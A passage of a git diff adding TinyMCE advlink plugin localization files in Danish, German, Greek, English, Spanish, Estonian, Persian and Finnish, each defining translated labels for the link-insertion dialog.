n\u00e1stroj\u016f","popup_statusbar":"Zobrazit stavov\u00fd \u0159\u00e1dek","popup_scrollbars":"Zobrazit posuvn\u00edky","popup_return":"Vlo\u017eit \'return false\'","popup_name":"N\u00e1zev okna","popup_url":"URL vyskakovac\u00edho okna",popup:"Javascriptov\u00e9 okno","target_blank":"Otev\u0159\u00edt v nov\u00e9m okn\u011b/r\u00e1mu","target_top":"Otev\u0159\u00edt v hlavn\u00edm okn\u011b/r\u00e1mu (nahradit v\u0161echny r\u00e1my)","target_parent":"Otev\u0159\u00edt v nad\u0159azen\u00e9m okn\u011b/r\u00e1mu","target_same":"Otev\u0159\u00edt v tomto okn\u011b/r\u00e1mu","anchor_names":"Z\u00e1lo\u017eka","popup_opts":"Mo\u017enosti","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry","event_props":"Ud\u00e1losti","popup_props":"Vlastnosti vyskakovac\u00edho okna","general_props":"Obecn\u00e9 parametry","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","events_tab":"Ud\u00e1losti","popup_tab":"Vyskakovac\u00ed okno","general_tab":"Obecn\u00e9",list:"Seznam odkaz\u016f","is_external":"Zadan\u00e9 URL vypad\u00e1 jako extern\u00ed odkaz, chcete doplnit povinn\u00fd prefix http://?","is_email":"Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa, chcete doplnit povinn\u00fd prefix mailto:?",titlefield:"Titulek",target:"C\u00edl",url:"URL odkazu",title:"Vlo\u017eit/upravit odkaz","link_list":"Seznam odkaz\u016f",rtl:"Zprava doleva",ltr:"Zleva doprava",accesskey:"Kl\u00e1vesov\u00e1 zkratka",tabindex:"Po\u0159ad\u00ed pro tabul\u00e1tor",rev:"Vztah c\u00edle ke str\u00e1nce",rel:"Vztah str\u00e1nky k c\u00edli",mime:"MIME typ",encoding:"K\u00f3dov\u00e1n\u00ed",langcode:"K\u00f3d jazyka","target_langcode":"Jazyk c\u00edle",width:"\u0160\u00ed\u0159ka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/da_dlg.js b/js/tiny_mce2/plugins/advlink/langs/da_dlg.js new file mode 100755 index 0000000..06f7fe3 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advlink_dlg',{"target_name":"Destinationsnavn",classes:"Klasser",style:"Stil",id:"Id","popup_position":"Position (X/Y)",langdir:"Sprogretning","popup_size":"St\u00f8rrelse","popup_dependent":"Afh\u00e6ngig (Kun Mozilla/Firefox)","popup_resizable":"Lad det v\u00e6re muligt at \u00e6ndre st\u00f8rrelsen p\u00e5 vinduet","popup_location":"Vis adresselinje","popup_menubar":"Vis menulinje","popup_toolbar":"Vis v\u00e6rkt\u00f8jslinjer","popup_statusbar":"Vis statuslinje","popup_scrollbars":"Vis rullepanel","popup_return":"Inds\u00e6t \'return false\'","popup_name":"Vinduesnavn","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00c5ben i nyt vindue","target_top":"\u00c5ben i \u00f8verste vindue / ramme (erstatter alle rammer)","target_parent":"\u00c5ben i overliggende vindue / ramme","target_same":"\u00c5ben i dette vindue / ramme","anchor_names":"Ankre","popup_opts":"Indstillinger","advanced_props":"Avancerede egenskaber","event_props":"H\u00e6ndelser","popup_props":"Popup egenskaber","general_props":"Generelle egenskaber","advanced_tab":"Advanceret","events_tab":"H\u00e6ndelser","popup_tab":"Popup","general_tab":"Generelt",list:"Liste over links","is_external":"Den URL, der er indtastet, ser ud til at v\u00e6re et eksternt link. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede http:// foran?","is_email":"Den URL, der er indtastet, ser ud til at v\u00e6re en emailadresse. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede mailto: foran?",titlefield:"Titel",target:"M\u00e5l",url:"Link URL",title:"Inds\u00e6t/rediger link","link_list":"Liste over links",rtl:"H\u00f8jre mod venstre",ltr:"Venstre mod h\u00f8jre",accesskey:"Genvejstast",tabindex:"Tabindex",rev:"Relativ destination til side",rel:"Relativ side til destination",mime:"Destinations-MIME-type",encoding:"Destinationstegns\u00e6t",langcode:"Sprogkode","target_langcode":"Destinationssprog",width:"Bredde",height:"H\u00f8jde"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/de_dlg.js b/js/tiny_mce2/plugins/advlink/langs/de_dlg.js new file mode 100755 index 0000000..bb0d3e3 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advlink_dlg',{"target_name":"Name der Zielseite",classes:"Klassen",style:"Format",id:"ID","popup_position":"Position (X/Y)",langdir:"Schriftrichtung","popup_size":"Gr\u00f6\u00dfe","popup_dependent":"Vom Elternfenster abh\u00e4ngig
    (nur Mozilla/Firefox) ","popup_resizable":"Vergr\u00f6\u00dfern des Fenster zulassen","popup_location":"Adressleiste anzeigen","popup_menubar":"Browsermen\u00fc anzeigen","popup_toolbar":"Werkzeugleisten anzeigen","popup_statusbar":"Statusleiste anzeigen","popup_scrollbars":"Scrollbalken anzeigen","popup_return":"Link trotz Popup folgen","popup_name":"Name des Fensters","popup_url":"Popup-Adresse",popup:"JavaScript-Popup","target_blank":"In neuem Fenster \u00f6ffnen","target_top":"Im obersten Frame \u00f6ffnen (sprengt das Frameset)","target_parent":"Im \u00fcbergeordneten Fenster/Frame \u00f6ffnen","target_same":"Im selben Fenster/Frame \u00f6ffnen","anchor_names":"Anker","popup_opts":"Optionen","advanced_props":"Erweiterte Eigenschaften","event_props":"Ereignisse","popup_props":"Popup-Eigenschaften","general_props":"Allemeine Eigenschaften","advanced_tab":"Erweitert","events_tab":"Ereignisse","popup_tab":"Popup","general_tab":"Allgemein",list:"Linkliste","is_external":"Diese Adresse scheint ein externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"http://\" voranstellen?","is_email":"Diese Adresse scheint eine E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"mailto:\" voranstellen?",titlefield:"Titel",target:"Fenster",url:"Adresse",title:"Link einf\u00fcgen/bearbeiten","link_list":"Linkliste",rtl:"Rechts nach links",ltr:"Links nach rechts",accesskey:"Tastenk\u00fcrzel",tabindex:"Tabindex",rev:"Beziehung des Linkziels zur Seite",rel:"Beziehung der Seite zum Linkziel",mime:"MIME-Type der Zielseite",encoding:"Zeichenkodierung der Zielseite",langcode:"Sprachcode","target_langcode":"Sprache der Zielseite",width:"Breite",height:"H\u00f6he"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/el_dlg.js b/js/tiny_mce2/plugins/advlink/langs/el_dlg.js new file mode 100755 index 0000000..79e4ae7 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advlink_dlg',{"target_name":"\u038c\u03bd\u03bf\u03bc\u03b1 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",classes:"\u039a\u03bb\u03ac\u03c3\u03b5\u03b9\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",id:"Id","popup_position":"\u0398\u03ad\u03c3\u03b7 (X/Y)",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","popup_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2","popup_dependent":"\u0395\u03be\u03b1\u03c1\u03c4\u03ce\u03bc\u03b5\u03bd\u03bf (\u03bc\u03cc\u03bd\u03bf \u03b3\u03b9\u03b1 Mozilla/Firefox)","popup_resizable":"\u039d\u03b1 \u03b1\u03bb\u03bb\u03ac\u03b6\u03bf\u03c5\u03bd \u03bf\u03b9 \u03b4\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5 \u03c0\u03b1\u03c1\u03b1\u03b8\u03cd\u03c1\u03bf\u03c5","popup_location":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c4\u03bf\u03c0\u03bf\u03b8\u03b5\u03c3\u03af\u03b1\u03c2","popup_menubar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03bc\u03b5\u03bd\u03bf\u03cd","popup_toolbar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd","popup_statusbar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7\u03c2","popup_scrollbars":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03c1\u03ac\u03b2\u03b4\u03c9\u03bd \u03ba\u03cd\u03bb\u03b9\u03c3\u03b7\u03c2","popup_return":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \'return false\'","popup_name":"\u038c\u03bd\u03bf\u03bc\u03b1 \u03c0\u03b1\u03c1\u03b1\u03b8\u03cd\u03c1\u03bf\u03c5","popup_url":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c4\u03bf\u03c5 Popup",popup:"Javascript popup","target_blank":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03bd\u03ad\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","target_top":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03c0\u03b9\u03bf \u03c0\u03ac\u03bd\u03c9 frame (\u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03ac \u03cc\u03bb\u03b1 \u03c4\u03b1 frames)","target_parent":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03b3\u03bf\u03bd\u03b9\u03ba\u03cc window / frame","target_same":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03af\u03b4\u03b9\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf / frame","anchor_names":"Anchors","popup_opts":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2","advanced_props":"\u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","event_props":"\u0393\u03b5\u03b3\u03bf\u03bd\u03cc\u03c4\u03b1","popup_props":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 Popup","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ad\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","events_tab":"\u0393\u03b5\u03b3\u03bf\u03bd\u03cc\u03c4\u03b1","popup_tab":"Popup","general_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",list:"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","is_external":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf http:// ;","is_email":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 email, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf mailto: ;",titlefield:"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",url:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",accesskey:"\u03a0\u03bb\u03ae\u03ba\u03c4\u03c1\u03bf \u03c0\u03c1\u03cc\u03c3\u03b2\u03b1\u03c3\u03b7\u03c2",tabindex:"Tabindex",rev:"\u03a3\u03c7\u03ad\u03c3\u03b7 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5 \u03c0\u03c1\u03bf\u03c2 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1 (REV)",rel:"\u03a3\u03c7\u03ad\u03c3\u03b7 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1\u03c2 \u03c0\u03c1\u03bf\u03c2 \u03c3\u03c4\u03cc\u03c7\u03bf (REL)",mime:"\u03a4\u03cd\u03c0\u03bf\u03c2 MIME \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",encoding:"\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","target_langcode":"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/en_dlg.js b/js/tiny_mce2/plugins/advlink/langs/en_dlg.js new file mode 100755 index 0000000..3169a56 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advlink_dlg',{"target_name":"Target Name",classes:"Classes",style:"Style",id:"ID","popup_position":"Position (X/Y)",langdir:"Language Direction","popup_size":"Size","popup_dependent":"Dependent (Mozilla/Firefox Only)","popup_resizable":"Make Window Resizable","popup_location":"Show Location Bar","popup_menubar":"Show Menu Bar","popup_toolbar":"Show Toolbars","popup_statusbar":"Show Status Bar","popup_scrollbars":"Show Scrollbars","popup_return":"Insert \'return false\'","popup_name":"Window Name","popup_url":"Popup URL",popup:"JavaScript Popup","target_blank":"Open in New Window","target_top":"Open in Top Frame (Replaces All Frames)","target_parent":"Open in Parent Window/Frame","target_same":"Open in This Window/Frame","anchor_names":"Anchors","popup_opts":"Options","advanced_props":"Advanced Properties","event_props":"Events","popup_props":"Popup Properties","general_props":"General Properties","advanced_tab":"Advanced","events_tab":"Events","popup_tab":"Popup","general_tab":"General",list:"Link List","is_external":"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?","is_email":"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",titlefield:"Title",target:"Target",url:"Link URL",title:"Insert/Edit Link","link_list":"Link List",rtl:"Right to Left",ltr:"Left to Right",accesskey:"AccessKey",tabindex:"TabIndex",rev:"Relationship Target to Page",rel:"Relationship Page to Target",mime:"Target MIME Type",encoding:"Target Character Encoding",langcode:"Language Code","target_langcode":"Target Language",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/es_dlg.js b/js/tiny_mce2/plugins/advlink/langs/es_dlg.js new file mode 100755 index 0000000..2f48a37 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advlink_dlg',{"target_name":"Nombre del Target",classes:"Clases",style:"Estilo",id:"Id","popup_position":"Posici\u00f3n (X/Y)",langdir:"Direcci\u00f3n del lenguaje","popup_size":"Tama\u00f1o","popup_dependent":"Dependientes (s\u00f3lo Mozilla/Firefox)","popup_resizable":"Permitir cambiar el tama\u00f1o de la ventana","popup_location":"Barra de localizaci\u00f3n","popup_menubar":"Barra de men\u00fa","popup_toolbar":"Barra de herramientas","popup_statusbar":"Barra de estado","popup_scrollbars":"Barras de desplazamiento","popup_return":"Insertar \'return false\'","popup_name":"Nombre de la ventana","popup_url":"URL de la ventana emergente",popup:"Javascript popup","target_blank":"Abrir en ventana nueva","target_top":"Abrir en el marco superior (reemplaza todos los marcos)","target_parent":"Abrir en ventana padre / marco","target_same":"Abrir en esta ventana / marco","anchor_names":"Anclas","popup_opts":"Opciones","advanced_props":"Propiedades avanzadas","event_props":"Eventos","popup_props":"Propiedades de ventanas emergentes","general_props":"Propiedades generales","advanced_tab":"Avanzado","events_tab":"Eventos","popup_tab":"Ventana emergente","general_tab":"General",list:"Lista de v\u00ednculos","is_external":"La URL que ha introducido parece ser un v\u00ednculo externo, \u00bfdesea agregar el prefijo http:// necesario?","is_email":"La URL que ha introducido parece ser una direci\u00f3n de correo, \u00bfdesea agregar el prefijo mailto: necesario?",titlefield:"T\u00edtulo",target:"Destino",url:"URL del hiperv\u00ednculo",title:"Insertar/editar hiperv\u00ednculo","link_list":"Lista de v\u00ednculo",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",accesskey:"Tecla de acceso",tabindex:"Indice de tabulaci\u00f3n",rev:"Relaci\u00f3n target a p\u00e1gina",rel:"Relaci\u00f3n p\u00e1gina a target",mime:"Tipo MIME del Target",encoding:"Codificaci\u00f3n de caracteres del Target",langcode:"C\u00f3digo del lenguaje","target_langcode":"Lenguaje del Target",width:"Ancho",height:"Alto"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/et_dlg.js b/js/tiny_mce2/plugins/advlink/langs/et_dlg.js new file mode 100755 index 0000000..f8431bd --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advlink_dlg',{"target_name":"Sihtm\u00e4rgi nimi",classes:"Klassid",style:"Stiil",id:"ID","popup_position":"Positsioon (X/Y)",langdir:"Keele suund","popup_size":"Suurus","popup_dependent":"S\u00f5ltuv (ainult Mozilla/Firefox)","popup_resizable":"Muuda akna suurus muudetavaks","popup_location":"N\u00e4ita asukohariba","popup_menubar":"N\u00e4ita men\u00fc\u00fcriba","popup_toolbar":"N\u00e4ita seadistusriba","popup_statusbar":"N\u00e4ita staatuse riba","popup_scrollbars":"N\u00e4ita kerimisribasid","popup_return":"Sisesta \'tagasiminek eba\u00f5nnestus\'","popup_name":"Akna nimi","popup_url":"Pop-up\u2019i URL",popup:"Javascript\u2019i pop-up","target_blank":"Ava uues aknas","target_top":"Ava k\u00f5rgeimas raamis (asenda k\u00f5ik raamid)","target_parent":"Ava pea-aknas/raamis","target_same":"Ava selles aknas/raamis","anchor_names":"Ankrud","popup_opts":"Valikud","advanced_props":"\u00dcldised seadistused","event_props":"S\u00fcndmused","popup_props":"Pop-up\u2019i seadistus","general_props":"\u00dcldised seadistused","advanced_tab":"P\u00f5hjalikum","events_tab":"S\u00fcndmused","popup_tab":"Pop-up","general_tab":"\u00dcldine",list:"Linkide nimekiri","is_external":"URL, mille sisestasid, tundub olevat v\u00e4line link, kas soovid sellele lisada http://?","is_email":" URL, mille sisestasid, tundub olevat e-posti aadress, kas soovid sellele lisada mailto: funktsiooni?",titlefield:"Pealkiri",target:"Sihtm\u00e4rk",url:" URL\u2019i link",title:"Sisesta muuda linki","link_list":"Linkide list",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",accesskey:"Ligip\u00e4\u00e4suklahv",tabindex:"Sisujuht",rev:"Seo sihtm\u00e4rk lehega",rel:"Seo leht sihtm\u00e4rgiga",mime:"M\u00e4rgista MIME t\u00fc\u00fcp",encoding:"Sihtm\u00e4rgi kodeering",langcode:"Keele kood","target_langcode":"Sihtm\u00e4rgi keel",width:"Laius",height:"K\u00f5rgus"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/fa_dlg.js b/js/tiny_mce2/plugins/advlink/langs/fa_dlg.js new file mode 100755 index 0000000..6b5ed88 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advlink_dlg',{"target_name":"\u0646\u0627\u0645 \u0645\u0642\u0635\u062f (Target)",classes:"\u06a9\u0644\u0627\u0633 \u0647\u0627",style:"\u0627\u0633\u062a\u06cc\u0644",id:"\u0634\u0646\u0627\u0633\u0647","popup_position":"\u0645\u0648\u0642\u0639\u06cc\u062a (X/Y)",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646","popup_size":"\u0627\u0646\u062f\u0627\u0632\u0647","popup_dependent":"\u0648\u0627\u0628\u0633\u062a\u0647 (\u0641\u0642\u0637 Mozilla/Firefox)","popup_resizable":"\u0627\u06cc\u062c\u0627\u062f \u067e\u0646\u062c\u0631\u0647 \u0642\u0627\u0628\u0644 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0646\u062f\u06cc \u0645\u062c\u062f\u062f","popup_location":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0645\u06a9\u0627\u0646","popup_menubar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0645\u0646\u0648","popup_toolbar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631","popup_statusbar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0648\u0636\u0639\u06cc\u062a","popup_scrollbars":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u067e\u06cc\u0645\u0627\u06cc\u0634 \u0647\u0627","popup_return":"\u062f\u0631\u062c \'return false\'","popup_name":"\u0646\u0627\u0645 \u067e\u0646\u062c\u0631\u0647","popup_url":"URL \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)",popup:"\u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648\u06cc Javascript","target_blank":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u062c\u062f\u06cc\u062f","target_top":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u0642\u0627\u0628 \u0628\u0627\u0644\u0627 (Top Frame) (\u062a\u0645\u0627\u0645\u06cc \u0642\u0627\u0628 \u0647\u0627 \u0631\u0627 \u062a\u0639\u0648\u06cc\u0636 \u0645\u06cc \u06a9\u0646\u062f)","target_parent":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 / \u0642\u0627\u0628 \u0648\u0627\u0644\u062f (Parent Frame)","target_same":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u0627\u06cc\u0646 \u067e\u0646\u062c\u0631\u0647 / \u0642\u0627\u0628 (Frame)","anchor_names":"\u0644\u0646\u06af\u0631\u0647\u0627 (Anchor)","popup_opts":"\u06af\u0632\u06cc\u0646\u0647 \u0647\u0627","advanced_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647","event_props":"\u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627","popup_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)","general_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u0639\u0645\u0648\u0645\u06cc","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","events_tab":"\u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627","popup_tab":"\u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)","general_tab":"\u0639\u0645\u0648\u0645\u06cc",list:"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9","is_external":"URL \u06cc \u06a9\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0644\u06cc\u0646\u06a9 \u062e\u0627\u0631\u062c\u06cc \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 //:http \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","is_email":"URL \u06cc \u06a9\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0645\u06cc\u0644 \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 :mailto \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f",titlefield:"\u0639\u0646\u0648\u0627\u0646",target:"\u0645\u0642\u0635\u062f (Target)",url:"URL \u0644\u06cc\u0646\u06a9",title:"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","link_list":"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",accesskey:"Accesskey",tabindex:"Tabindex",rev:"\u0631\u0627\u0628\u0637\u0647 \u0645\u0642\u0635\u062f (Target) \u0628\u0627 \u0635\u0641\u062d\u0647",rel:"\u0631\u0627\u0628\u0637\u0647 \u0635\u0641\u062d\u0647 \u0628\u0627 \u0645\u0642\u0635\u062f (Target)",mime:"\u0646\u0648\u0639 MIME \u0645\u0642\u0635\u062f (Target)",encoding:"\u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0645\u0642\u0635\u062f (Target)",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646","target_langcode":"\u0632\u0628\u0627\u0646 \u0645\u0642\u0635\u062f (Target)",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/fi_dlg.js b/js/tiny_mce2/plugins/advlink/langs/fi_dlg.js new file mode 100755 index 0000000..e49488e --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advlink_dlg',{"target_name":"Kohteen nimi",classes:"Luokat",style:"Tyyli",id:"Id","popup_position":"Sijainti (X/Y)",langdir:"Kielen suunta","popup_size":"Koko","popup_dependent":"Riippuvainen (vain Mozilla/Firefox)","popup_resizable":"Tee ikkunan koko muokattavaksi","popup_location":"N\u00e4yt\u00e4 sijaintipalkki","popup_menubar":"N\u00e4yt\u00e4 valikkopalkki","popup_toolbar":"N\u00e4yt\u00e4 ty\u00f6kalut","popup_statusbar":"N\u00e4yt\u00e4 tilapalkki","popup_scrollbars":"N\u00e4yt\u00e4 